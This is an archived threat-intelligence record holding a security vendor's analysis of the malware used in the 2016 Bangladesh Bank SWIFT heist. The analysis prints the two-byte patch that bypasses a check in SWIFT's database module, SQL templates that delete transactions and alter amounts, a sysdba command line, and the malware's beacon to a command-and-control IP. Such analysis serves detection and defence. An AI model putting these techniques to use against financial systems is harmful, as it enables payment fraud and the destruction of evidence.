{
	"id": "b007b5c6-11e1-40bf-91a5-7b280acb82d4",
	"created_at": "2026-04-06T00:19:41.480584Z",
	"updated_at": "2026-04-10T03:21:31.095461Z",
	"deleted_at": null,
	"sha1_hash": "fd535c3f9bde56d9306ec8e5cb034172eff310ea",
	"title": "Two bytes to $951m",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 287140,
	"plain_text": "Two bytes to $951m\r\nArchived: 2026-04-05 21:24:02 UTC\r\nIn February 2016 one of the largest cyber heists was committed and subsequently disclosed. An unknown attacker\r\ngained access to the Bangladesh Bank’s (BB) SWIFT payment system and reportedly instructed an American bank\r\nto transfer money from BB’s account to accounts in The Philippines. The attackers attempted to steal $951m, of\r\nwhich $81m is still unaccounted for.\r\nThe technical details of the attack have yet to be made public, however we’ve recently identified tools uploaded to\r\nonline malware repositories that we believe are linked to the heist. The custom malware was submitted by a user\r\nin Bangladesh, and contains sophisticated functionality for interacting with local SWIFT Alliance Access software\r\nrunning in the victim infrastructure.\r\nThis malware appears to be just part of a wider attack toolkit, and would have been used to cover the attackers’\r\ntracks as they sent forged payment instructions to make the transfers. This would have hampered the detection and\r\nresponse to the attack, giving more time for the subsequent money laundering to take place.\r\nThe tools are highly configurable and given the correct access could feasibly be used for similar attacks in the\r\nfuture.\r\nMalware samples\r\nSHA1 Compile time Size (bytes) Filename\r\n525a8e3ae4e3df8c9c61f2a49e38541d196e9228 2016-02-05 11:46:20 65,536 evtdiag.exe\r\n76bab478dcc70f979ce62cd306e9ba50ee84e37e 2016-02-04 13:45:39 16,384 evtsys.exe\r\n70bf16597e375ad691f2c1efa194dbe7f60e4eeb 2016-02-05 08:55:19 24,576 nroff_b.exe\r\n6207b92842b28a438330a2bf0ee8dcab7ef0a163 N/A 33,848 gpca.dat\r\nWe believe all files were created by the same actor(s), but the main focus of the report will be on\r\n525a8e3ae4e3df8c9c61f2a49e38541d196e9228 as this is the component that contains logic for interacting with the\r\nSWIFT software.\r\nThe malware registers itself as a service and operates within an environment running SWIFT’s Alliance software\r\nsuite, powered by an Oracle Database.\r\nhttps://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html\r\nPage 1 of 8\n\nThe main purpose is to inspect SWIFT messages for strings defined in the configuration file. From these\r\nmessages, the malware can extract fields such as transfer references and SWIFT addresses to interact with the\r\nsystem database. These details are then used to delete specific transactions, or update transaction amounts\r\nappearing in balance reporting messages based on the amount of Convertible Currency available in specific\r\naccounts.\r\nThis functionality runs in a loop until 6am on 6th February 2016. This is significant given the transfers are\r\nbelieved to have occurred in the two days prior to this date. The tool was custom made for this job, and shows a\r\nsignificant level of knowledge of SWIFT Alliance Access software as well as good malware coding skills.\r\nMalware config and logging\r\nWhen run, the malware decrypts the contents of its configuration file, using the RC4 key:\r\n4e 38 1f a7 7f 08 cc aa 0d 56 ed ef f9 ed 08 ef\r\nThis configuration is located in the following directory on the victim device:\r\n[ROOT_DRIVE]:\\Users\\Administrator\\AppData\\Local\\Allians\\gpca.dat\r\nThe configuration file contains a list of transaction IDs, some additional environment information, and the\r\nfollowing IP address to be used for command-and-control (C\u0026C):\r\n196.202.103.174\r\nThe sample also uses the following file for logging:\r\n[ROOT_DRIVE]:\\Users\\Administrator\\AppData\\Local\\Allians\\recas.dat\r\nModule patching\r\nhttps://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html\r\nPage 2 of 8\n\nThe malware enumerates all processes, and if a process has the module liboradb.dll loaded in it, it will patch 2\r\nbytes in its memory at a specific offset. The patch will replace 2 bytes 0x75 and 0x04 with the bytes 0x90 and\r\n0x90 .\r\nThese two bytes are the JNZ opcode, briefly explained as 'if the result of the previous comparison operation is not\r\nzero, then jump into the address that follows this instruction, plus 4 bytes'.\r\nEssentially, this opcode is a conditional jump instruction that follows some important check, such as a key validity\r\ncheck or authorisation success check.\r\nThe patch will replace this 2-byte conditional jump with 2 'do-nothing' (NOP) instructions, effectively forcing the\r\nhost application to believe that the failed check has in fact succeeded.\r\nFor example, the original code could look like:\r\n 85 C0             test eax, eax ; some important check\r\n 75 04             jnz  failed   ; if failed, jump to 'failed' label below\r\n 33 c0             xor  eax, eax ; otherwise, set result to 0 (success)\r\n eb 17             jmp  exit     ; and then exit\r\n           failed:\r\n B8 01 00 00 00    mov  eax, 1   ; set result to 1 (failure)\r\nOnce it's patched, it would look like:\r\n 85 C0             test eax, eax ; some important check\r\n 90                nop           ; 'do nothing' in place of 0x75\r\n 90                nop           ; 'do nothing' in place of 0x04\r\n 33 c0             xor  eax, eax ; always set result to 0 (success)\r\n eb 17             jmp  exit     ; and then exit\r\n           failed:\r\n B8 01 00 00 00    mov  eax, 1   ; never reached: set result to 1 (fail)\r\nhttps://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html\r\nPage 3 of 8\n\nAs a result, the important check result will be ignored, and the code will never jump to 'failed'. Instead, it will\r\nproceed into setting result to 0 (success).\r\nThe liboradb.dll module belongs to SWIFT's Alliance software suite, powered by Oracle Database, and is\r\nresponsible for:\r\n   •  Reading the Alliance database path from the registry;\r\n   •  Starting the database;\r\n   •  Performing database backup \u0026 restore functions.\r\nBy modifying the local instance of SWIFT Alliance Access software, the malware grants itself the ability to\r\nexecute database transactions within the victim network.\r\nSWIFT message monitoring\r\nThe malware monitors SWIFT Financial Application (FIN) messages, by parsing the contents of the files *.prc\r\nand *.fal located within the directories:\r\n[ROOT_DRIVE]:\\Users\\Administrator\\AppData\\Local\\Allians\\mcm\\in\\\r\n[ROOT_DRIVE]:\\Users\\Administrator\\AppData\\Local\\Allians\\mcm\\out\\\r\nIt parses the messages, looking for strings defined in gpca.dat . We expect these will be unique identifiers that\r\nidentify malicious transactions initiated by the attackers. If present, it then attempts to extract a MESG_TRN_REF\r\nand MESG_SENDER_SWIFT_ADDRESS from that same message by looking for the following hard coded strings:\r\n\"FIN 900 Confirmation of Debit\"\r\n\"20: Transaction\"\r\n\"Sender :\"\r\n[additional filters from the decrypted configuration file gpca.dat]\r\nThe malware will use this extracted data to form valid SQL statements. It attempts to retrieve the SWIFT unique\r\nmessage ID ( MESG_S_UMID ) that corresponds to the transfer reference and sender address retrieved earlier:\r\nSELECT MESG_S_UMID FROM SAAOWNER.MESG_%s WHERE MESG_SENDER_SWIFT_ADDRESS LIKE '%%%s%%' AND\r\nMESG_TRN_REF LIKE '%%%s%%';\r\nThe MESG_S_UMID is then passed to DELETE statements, deleting the transaction from the local database.\r\nDELETE FROM SAAOWNER.MESG_%s WHERE MESG_S_UMID = '%s';\r\nDELETE FROM SAAOWNER.TEXT_%s WHERE TEXT_S_UMID = '%s';\r\nThe SQL statements are dropped into a temporary file with the 'SQL' prefix. The SQL statements are prepended\r\nwith the following prefixed statements:\r\nset heading off;\r\nset linesize 32567;\r\nSET FEEDBACK OFF;\r\nhttps://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html\r\nPage 4 of 8\n\nSET ECHO OFF;\r\nSET FEED OFF;\r\nSET VERIFY OFF;\r\nOnce the temporary file with the SQL statements is constructed, it is executed from a shell script with 'sysdba'\r\npermissions. An example is shown below:\r\ncmd.exe /c echo exit | sqlplus -S / as sysdba @[SQL_Statements] \u003e [OUTPUT_FILE]\r\nLogin monitoring\r\nAfter start up the malware falls into a loop where it constantly checks for the journal record that contains the\r\n\"Login\" string in it:\r\nSELECT * FROM (SELECT JRNL_DISPLAY_TEXT, JRNL_DATE_TIME FROM SAAOWNER.JRNL_%s WHERE JRNL_DISPLAY_TEXT\r\nLIKE '%%LT BBHOBDDHA: Log%%' ORDER BY JRNL_DATE_TIME DESC) A WHERE ROWNUM = 1;\r\nNOTE: ‘BBHOBDDH’ is the SWIFT code for the Bangladesh Bank in Dhaka.\r\nIf it fails to find the \"Login\" record, it falls asleep for 5 seconds and then tries again. Once the \"Login\" record is\r\nfound, the malware sends a GET request to the remote C\u0026C.\r\nThe GET request has the format:\r\n[C\u0026C_server]/al?[data]\r\nThe malware notifies the remote C\u0026C each hour of events, sending \"---O\" if the \"Login\" (open) event occurred,\r\n\"---C\" in case \"Logout\" (close) event occurred, or \"---N\" if neither of the events occurred, e.g.:\r\n[C\u0026C_server]/al?---O\r\nManipulating balances\r\nThe malware monitors all SWIFT messages found in:\r\n[ROOT_DRIVE]:\\Users\\Administrator\\AppData\\Local\\Allians\\mcp\\in\\*.*\r\n[ROOT_DRIVE]:\\Users\\Administrator\\AppData\\Local\\Allians\\mcp\\out\\*.*\r\n[ROOT_DRIVE]:\\Users\\Administrator\\AppData\\Local\\Allians\\mcp\\unk\\*.*\r\n[ROOT_DRIVE]:\\Users\\Administrator\\AppData\\Local\\Allians\\mcs\\nfzp\r\n[ROOT_DRIVE]:\\Users\\Administrator\\AppData\\Local\\Allians\\mcs\\nfzf\r\n[ROOT_DRIVE]:\\Users\\Administrator\\AppData\\Local\\Allians\\mcs\\fofp\r\n[ROOT_DRIVE]:\\Users\\Administrator\\AppData\\Local\\Allians\\mcs\\foff\r\nThe messages are parsed looking for information tagged with the following strings:\r\nhttps://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html\r\nPage 5 of 8\n\n\"19A: Amount\"\r\n\": Debit\"\r\n\"Debit/Credit :\"\r\n\"Sender :\"\r\n\"Amount :\"\r\n\"FEDERAL RESERVE BANK\"\r\n\" D\"\r\n\" C\"\r\n\"62F: \"\r\n“60F: \"\r\n\"60M: \"\r\n\"62M: \"\r\n\"Credit\"\r\n\"Debit\"\r\n\" 64: \"\r\n\" 20: Transaction\"\r\n\"90B: Price\"\r\nFor example, the \"62F:\" field specifies the closing balance, \"60F:\" is opening balance, \"19A:\" is transaction\r\namount.\r\nThe malware also checks if the messages contain a filter specified within the configuration file gpca.dat .\r\nThe logged in account, as seen from the journal, is then used to check how much Convertible Currency amount\r\n( MESG_FIN_CCY_AMOUNT ) it has available:\r\nSELECT MESG_FIN_CCY_AMOUNT FROM SAAOWNER.MESG_%s WHERE MESG_S_UMID = '%s';\r\nAlternatively, it can query for a message for a specified sender with a specified amount of Convertible Currency:\r\nSELECT MESG_S_UMID FROM SAAOWNER.MESG_%s WHERE MESG_SENDER_SWIFT_ADDRESS LIKE '%%%s%%' AND\r\nMESG_FIN_CCY_AMOUNT LIKE '%%%s%%';\r\nThe amount of Convertible Currency is then manipulated in the message by changing it to the arbitrary value\r\n( SET MESG_FIN_CCY_AMOUNT ):\r\nUPDATE SAAOWNER.MESG_%s SET MESG_FIN_CCY_AMOUNT = '%s' WHERE MESG_S_UMID = '%s';\r\nUPDATE SAAOWNER.TEXT_%s SET TEXT_DATA_BLOCK = UTL_RAW.CAST_TO_VARCHAR2('%s') WHERE TEXT_S_UMID =\r\n'%s';\r\nPrinter manipulation\r\nIn order to hide the fraudulent transactions carried out by the attacker(s), the database/message manipulations are\r\nnot sufficient. SWIFT network also generates confirmation messages, and these messages are sent by the software\r\nhttps://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html\r\nPage 6 of 8\n\nfor printing. If the fraudulent transaction confirmations are printed out, the banking officials can spot an anomaly\r\nand then respond appropriately to stop such transactions from happening.\r\nHence, the malware also intercepts the confirmation SWIFT messages and then sends for printing the 'doctored'\r\n(manipulated) copies of such messages in order to cover up the fraudulent transactions.\r\nTo achieve that, the SWIFT messages the malware locates are read, parsed, and converted into PRT files that\r\ndescribe the text in Printer Command Language (PCL).\r\nThese temporary PRT files are then submitted for printing by using another executable file called nroff.exe , a\r\nlegitimate tool from the SWIFT software suite.\r\nThe PCL language used specifies the printer model, which is \"HP LaserJet 400 M401\":\r\nOnce sent for printing, the PRT files are then overwritten with '0's (reliably deleted).\r\nCONCLUSIONS\r\nThe analysed sample allows a glimpse into the toolkit of one of the team in well-planned bank heist. Many pieces\r\nof the puzzle are still missing though: how the attackers sent the fraudulent transfers; how the malware was\r\nimplanted; and crucially, who was behind this.\r\nThis malware was written bespoke for attacking a specific victim infrastructure, but the general tools, techniques\r\nand procedures used in the attack may allow the gang to strike again. All financial institutions who run SWIFT\r\nAlliance Access and similar systems should be seriously reviewing their security now to make sure they too are\r\nnot exposed.\r\nThis attacker put significant effort into deleting evidence of their activities, subverting normal business processes\r\nto remain undetected and hampering the response from the victim. The wider lesson learned here may be that\r\ncriminals are conducting more and more sophisticated attacks against victim organisations, particularly in the area\r\nof network intrusions (which has traditionally been the domain of the ‘APT’ actor). As the threat evolves,\r\nbusinesses and other network owners need to ensure they are prepared to keep up with the evolving challenge of\r\nsecuring critical systems.\r\nhttps://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html\r\nPage 7 of 8\n\nSource: https://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html\r\nhttps://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA"
	],
	"references": [
		"https://baesystemsai.blogspot.com/2016/04/two-bytes-to-951m.html"
	],
	"report_names": [
		"two-bytes-to-951m.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434781,
	"ts_updated_at": 1775791291,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/fd535c3f9bde56d9306ec8e5cb034172eff310ea.pdf",
		"text": "https://archive.orkl.eu/fd535c3f9bde56d9306ec8e5cb034172eff310ea.txt",
		"img": "https://archive.orkl.eu/fd535c3f9bde56d9306ec8e5cb034172eff310ea.jpg"
	}
}